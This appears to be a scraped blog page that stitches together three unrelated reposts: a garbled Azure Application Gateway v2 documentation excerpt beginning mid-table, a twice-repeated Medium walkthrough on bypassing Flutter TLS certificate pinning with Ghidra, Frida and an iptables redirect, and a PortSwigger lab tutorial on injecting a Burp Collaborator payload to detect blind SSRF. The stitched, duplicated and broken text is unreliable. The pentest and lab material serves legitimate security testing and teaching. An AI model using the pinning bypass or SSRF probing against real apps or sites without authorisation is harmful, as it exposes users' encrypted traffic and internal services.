Functionality - basic HTTP/HTTP2/HTTPS
WebSocket
Public/Private IP
Cookie Affinity
Path-based affinity
Wildcard
Multisite
KeyVault
Zone
Header rewrite


















Functionality - advanced AKS (via AGIC)
URL rewrite
mTLS
Private Link
Private-only (preview)
TCP/TLS Proxy (preview)
 




Scale Max. connections per second
Number of listeners
Number of backend pools
Number of backend servers per pool
Number of rules
2001
5
5
5
5
625001
100
100
1200
400
Capacity Unit Connections per second per compute unit
Throughput
Persistent new connections
10
2.22 Mbps
2500
50
2.22 Mbps
2500

1Estimated based on using an RSA 2048-bit key TLS certificate.

Pricing

With the v2 SKU, consumption drives the pricing model and is no longer attached to instance counts or sizes. To learn more, see Understanding pricing.

Unsupported regions

Currently, the Standard_v2 and WAF_v2 SKUs aren't available in the following regions:

  • China East
  • China North
  • US DOD East
  • US DOD Central

Migrate from v1 to v2

An Azure PowerShell script is available in the PowerShell gallery to help you migrate from your v1 Application Gateway/WAF to the v2 Autoscaling SKU. This script helps you copy the configuration from your v1 gateway. Traffic migration is still your responsibility. For more information, see Migrate Azure Application Gateway from v1 to v2.

Feature comparison between v1 SKU and v2 SKU

The following table compares the features available with each SKU.

Featurev1 SKUv2 SKU

Autoscaling  
Zone redundancy  
Static VIP  
Azure Kubernetes Service (AKS) Ingress controller  
Azure Key Vault integration  
Rewrite HTTP(S) headers  
Enhanced Network Control (NSG, Route Table, Private IP Frontend only)  
URL-based routing
Multiple-site hosting
Mutual Authentication (mTLS)  
Private Link support  
Traffic redirection
Web Application Firewall (WAF)
WAF custom rules  
WAF policy associations  
Transport Layer Security (TLS)/Secure Sockets Layer (SSL) termination
End-to-end TLS encryption
Session affinity
Custom error pages
WebSocket support
HTTP/2 support
Connection draining
Proxy NTLM authentication  
Path based rule encoding  
DHE Ciphers  

Note

The autoscaling v2 SKU now supports default health probes to automatically monitor the health of all resources in its backend pool and highlight those backend members that are considered unhealthy. The default health probe is automatically configured for backends that don't have any custom probe configuration. To learn more, see health probes in application gateway.

Differences from the v1 SKU

This section describes features and limitations of the v2 SKU that differ from the v1 SKU.

DifferenceDetails

Mixing Standard_v2 and Standard Application Gateway on the same subnet Not supported
User-Defined Route (UDR) on Application Gateway subnet For information about supported scenarios, see Application Gateway configuration overview.
NSG for Inbound port range - 65200 to 65535 for Standard_v2 SKU
- 65503 to 65534 for Standard SKU.
Not required for v2 SKUs in public preview Learn more.
For more information, see the FAQ.
Performance logs in Azure diagnostics Not supported.
Azure metrics should be used.
FIPS mode Currently not supported.
Private frontend configuration only mode Currently in public preview Learn more.
Path based rule encoding Not supported.
V2 decodes paths before routing. For example, V2 treats /abc%2Fdef the same as /abc/def.
Chunked file transfer In the Standard_V2 configuration, turn off request buffering to support chunked file transfer.
In WAF_V2, turning off request buffering isn't possible because it has to look at the entire request to detect and block any threats. Therefore, the suggested alternative is to create a path rule for the affected URL and attach a disabled WAF policy to that path rule.
Cookie Affinity Current V2 doesn't support appending the domain in session affinity Set-Cookie, which means that the cookie can't be used by client for the subdomains.
Microsoft Defender for Cloud integration Not yet available.

Register for the preview

Run the following Azure CLI commands to register for the preview of Application Gateway Basic SKU.

Set-AzContext -Subscription "<your subscription ID>"
Get-AzProviderFeature -FeatureName AllowApplicationGatewayBasicSku -ProviderNamespace "Microsoft.Network"
Register-AzProviderFeature -FeatureName AllowApplicationGatewayBasicSku -ProviderNamespace Microsoft.Network 
 

Unregister the preview

To unregister from the public preview of Basic SKU:

  1. Delete all instances of Application Gateway Basic SKU from your subscription.
  2. Run the following Azure CLI commands:
Set-AzContext -Subscription "<your subscription ID>"
Get-AzProviderFeature -FeatureName AllowApplicationGatewayBasicSku -ProviderNamespace "Microsoft.Network"
Unregister-AzProviderFeature -FeatureName AllowApplicationGatewayBasicSku -ProviderNamespace Microsoft.Network 
 

Next steps

Depending on your requirements and environment, you can create a test Application Gateway using either the Azure portal, Azure PowerShell, or Azure CLI.

블로그 이미지

wtdsoul

,

https://m4kr0x.medium.com/flutter-tls-bypass-how-to-intercept-https-traffic-when-all-other-frida-scripts-fail-bd3d04489088

https://github.com/m4kr0x/flutter_ssl_bypass/

Hello Folks

In this article, I’ll walk you through my journey in intercepting HTTPS traffic from a APK based on Flutter during a pentesting engagement After 2 days of research and trying out several Frida scripts that didn’t work.

I was analyzing an APK that was developed using Flutter. As many of you know, Flutter apps are written in Dart, and Dart does not use the system CA store. That means traditional certificate pinning bypass techniques often don’t work.

When I first tried to capture the app’s HTTPS traffic using Burp Suite, I failed — no requests came through.

I began looking for ways to bypass Flutter’s SSL verification. During my research, I found several scripts

I tried them all, and also tried reflutter but unfortunately, none of them worked in my case.

Thinking it might be a routing issue, I attempted to redirect traffic to Burp Suite manually

then i configured Burp Suite to listen on all interfaces (port 8083)

then enable this check

after that i used the following iptables rules to redirect all traffic to burp:

iptables -t nat -A OUTPUT -p tcp -j DNAT --to-destination Burp_IP:Burp_Port

But I hit this issue. TLS verification blocked the traffic

and what made this more confusing is that the same scripts worked perfectly for my friend So I began to question is the problem with the APK itself, or something specific to my setup?

To test that, I ran the same scripts against some demo Flutter apps. Surprisingly, they worked. That confirmed the issue was not with the scripts, but with apk.

After digging deeper, I realized a key detail:

  • My friend was running the AVD on macOS, which uses an ARM-based emulator
  • I was running the AVD on a PC, which uses the x86_64 architecture

This difference in architecture led to different memory layouts and offsets in the binary. As a result, the scripts that worked for ARM couldn’t locate the correct patterns in x86_64.

Essentially, the scripts successfully matched the memory patterns on ARM, but failed to do so on x86_64 because the bytecode and structure were different.

I kept searching for a way to make this scripts works but i failed after that I started reverse-engineering the libflutter.so library instead.

Dig Dive in libflutter.so

First, I extracted the libflutter.so file using apktool.

I chose x86_64 because my emulator is x86_64 arch

Then, I opened it in Ghidra:

  • File → Import → Select libflutter.so
  • Double-click to analyze

Flutter uses BoringSSL to handle everything related to SSL

Luckily, BoringSSL is open source.
I found from various resources that the file ssl_x509.cc is responsible for SSL certificate

Inside it, there’s a function called ssl_crypto_x509_session_verify_cert_chain that responsible for ssl handshake

This function:

  • Takes 3 arguments
  • Returns a boolean (true = success, false = failed)

so what we need to do is to figure this function in libflutter

In Ghidra, I searched for the string "ssl_client" which appears in the same file around line 230.

  1. go to Search → For Strings

Look for ssl_client then Double click on the result and explore its XREFs

there’s 2 XREF, maybe you find more of XREF so check all of them

I checked each referenced function (FUN_...) manually by double click on FUN_ and the correct one will be the function that takes 3 arguments and returns a boolean

In my case, the second one was correct.

Calculating the Offset

Once I located the function, I got the offset by double click on the function name:

Offset: 02184644

Then I subtracted the base load address (usually 100000) to get the relative offset used in Frida:

02184644–100000 = 2084644

This is the address we’ll use in Frida script

Frida Script

Here’s a simple script I wrote to hook and patch the return value of the ssl_crypto_x509_session_verify_cert_chain function:

This script has been tested on an AVD with Android 11 based on x86_64, so if it doesn’t work for you or you encounter any errors, just ask chatgpt to edit the script to suit your environment.

📎 flutter_SSL_Bypass

don’t forget to replace the offset with yours

then run the script

After running the script, Burp Suite was finally able to intercept all HTTPS traffic from the app.
The SSL pinning was completely bypassed!

 

 

Flutter TLS Bypass: How to Intercept HTTPS Traffic When all other Frida Scripts Fail

In this article, I’ll walk you through my journey in intercepting HTTPS traffic from a APK based on Flutter during a pentesting engagement…

m4kr0x.medium.com

 

 

Flutter TLS Bypass: How to Intercept HTTPS Traffic When all other Frida Scripts Fail

In this article, I’ll walk you through my journey in intercepting HTTPS traffic from a APK based on Flutter during a pentesting engagement…

m4kr0x.medium.com

 

 

Thanks for reading and feel free to contact with me
and don’t forget to follow me on medium and Twitter

블로그 이미지

wtdsoul

,

https://m4kr0x.medium.com/flutter-tls-bypass-how-to-intercept-https-traffic-when-all-other-frida-scripts-fail-bd3d04489088

https://github.com/m4kr0x/flutter_ssl_bypass/

Hello Folks

In this article, I’ll walk you through my journey in intercepting HTTPS traffic from a APK based on Flutter during a pentesting engagement After 2 days of research and trying out several Frida scripts that didn’t work.

I was analyzing an APK that was developed using Flutter. As many of you know, Flutter apps are written in Dart, and Dart does not use the system CA store. That means traditional certificate pinning bypass techniques often don’t work.

When I first tried to capture the app’s HTTPS traffic using Burp Suite, I failed — no requests came through.

I began looking for ways to bypass Flutter’s SSL verification. During my research, I found several scripts

I tried them all, and also tried reflutter but unfortunately, none of them worked in my case.

Thinking it might be a routing issue, I attempted to redirect traffic to Burp Suite manually

then i configured Burp Suite to listen on all interfaces (port 8083)

then enable this check

after that i used the following iptables rules to redirect all traffic to burp:

iptables -t nat -A OUTPUT -p tcp -j DNAT --to-destination Burp_IP:Burp_Port

But I hit this issue. TLS verification blocked the traffic

and what made this more confusing is that the same scripts worked perfectly for my friend So I began to question is the problem with the APK itself, or something specific to my setup?

To test that, I ran the same scripts against some demo Flutter apps. Surprisingly, they worked. That confirmed the issue was not with the scripts, but with apk.

After digging deeper, I realized a key detail:

  • My friend was running the AVD on macOS, which uses an ARM-based emulator
  • I was running the AVD on a PC, which uses the x86_64 architecture

This difference in architecture led to different memory layouts and offsets in the binary. As a result, the scripts that worked for ARM couldn’t locate the correct patterns in x86_64.

Essentially, the scripts successfully matched the memory patterns on ARM, but failed to do so on x86_64 because the bytecode and structure were different.

I kept searching for a way to make this scripts works but i failed after that I started reverse-engineering the libflutter.so library instead.

Dig Dive in libflutter.so

First, I extracted the libflutter.so file using apktool.

I chose x86_64 because my emulator is x86_64 arch

Then, I opened it in Ghidra:

  • File → Import → Select libflutter.so
  • Double-click to analyze

Flutter uses BoringSSL to handle everything related to SSL

Luckily, BoringSSL is open source.
I found from various resources that the file ssl_x509.cc is responsible for SSL certificate

Inside it, there’s a function called ssl_crypto_x509_session_verify_cert_chain that responsible for ssl handshake

This function:

  • Takes 3 arguments
  • Returns a boolean (true = success, false = failed)

so what we need to do is to figure this function in libflutter

In Ghidra, I searched for the string "ssl_client" which appears in the same file around line 230.

  1. go to Search → For Strings

Look for ssl_client then Double click on the result and explore its XREFs

there’s 2 XREF, maybe you find more of XREF so check all of them

I checked each referenced function (FUN_...) manually by double click on FUN_ and the correct one will be the function that takes 3 arguments and returns a boolean

In my case, the second one was correct.

Calculating the Offset

Once I located the function, I got the offset by double click on the function name:

Offset: 02184644

Then I subtracted the base load address (usually 100000) to get the relative offset used in Frida:

02184644–100000 = 2084644

This is the address we’ll use in Frida script

Frida Script

Here’s a simple script I wrote to hook and patch the return value of the ssl_crypto_x509_session_verify_cert_chain function:

This script has been tested on an AVD with Android 11 based on x86_64, so if it doesn’t work for you or you encounter any errors, just ask chatgpt to edit the script to suit your environment.

📎 flutter_SSL_Bypass

don’t forget to replace the offset with yours

then run the script

After running the script, Burp Suite was finally able to intercept all HTTPS traffic from the app.
The SSL pinning was completely bypassed!

 

 

Flutter TLS Bypass: How to Intercept HTTPS Traffic When all other Frida Scripts Fail

In this article, I’ll walk you through my journey in intercepting HTTPS traffic from a APK based on Flutter during a pentesting engagement…

m4kr0x.medium.com

 

 

Flutter TLS Bypass: How to Intercept HTTPS Traffic When all other Frida Scripts Fail

In this article, I’ll walk you through my journey in intercepting HTTPS traffic from a APK based on Flutter during a pentesting engagement…

m4kr0x.medium.com

 

 

Thanks for reading and feel free to contact with me
and don’t forget to follow me on medium and Twitter

블로그 이미지

wtdsoul

,
블로그 이미지

wtdsoul

,

https://portswigger.net/burp/documentation/desktop/tools/collaborator/getting-started

 

Getting started with Burp Collaborator

In this tutorial, you will learn how to manually use Burp Collaborator. You will test whether you can induce a target site to make a request to an arbitrary ...

portswigger.net

 

 

Getting started with Burp Collaborator

  •  Last updated: April 29, 2025
  •  Read time: 2 Minutes

In this tutorial, you will learn how to manually use Burp Collaborator. You will test whether you can induce a target site to make a request to an arbitrary server that could potentially be controlled by an attacker.

Step 1: Access the lab

Open Burp's browser, and use it to access the following URL:

https://portswigger.net/web-security/ssrf/blind/lab-out-of-band-detection

Click Access the lab and log in to your PortSwigger account if prompted. This opens your own instance of a deliberately vulnerable shopping website.

Step 2: Browse the target site

In the browser, explore the site by clicking on a couple of the product pages.

Step 3: Send an interesting request to Repeater

In Burp, go to the Proxy > HTTP history tab.

Right-click a GET /product?productId=[...] request and select Send to Repeater.

Step 4: Inject a Collaborator payload into the request

Go to the Repeater tab. Highlight the URL in the Referer header, right-click, and select Insert Collaborator payload. This replaces the Referer URL with a URL that points to the Collaborator server, for example:

204119i326shak9tnk6k36z8jlahj74r.oastify.com

Send the request.

Note

The Collaborator server domain name may change, as we periodically add new domain names. For more information, see Generating payloads.

Step 5: Poll for interactions

Go to the Collaborator tab. Collaborator polls for interactions every 60 seconds, so you may see some interactions listed already. If not, click Poll now. Interactions received as a result of your Collaborator payloads are displayed. This confirms that the target site made a request to the arbitrary server.

In this case, you see both HTTP and DNS interactions. Click on an interaction to view more details.

Summary

Congratulations, you have now successfully:

  • Generated a Collaborator payload.
  • Inserted a Collaborator payload in a request.
  • Induced the application to send a request to your Collaborator subdomain, and identified this by polling the server for interactions.

You now know how to use Burp Collaborator to manually generate a proof of concept for invisible vulnerabilities, in this case, blind SSRF.

What next?

This tutorial is just an initial proof of concept. To learn how you can exploit this kind of behavior in the wild, check out the Web Security Academy, in particular:

For an overview of some common uses of Burp Collaborator, see Typical uses for Burp Collaborator.

블로그 이미지

wtdsoul

,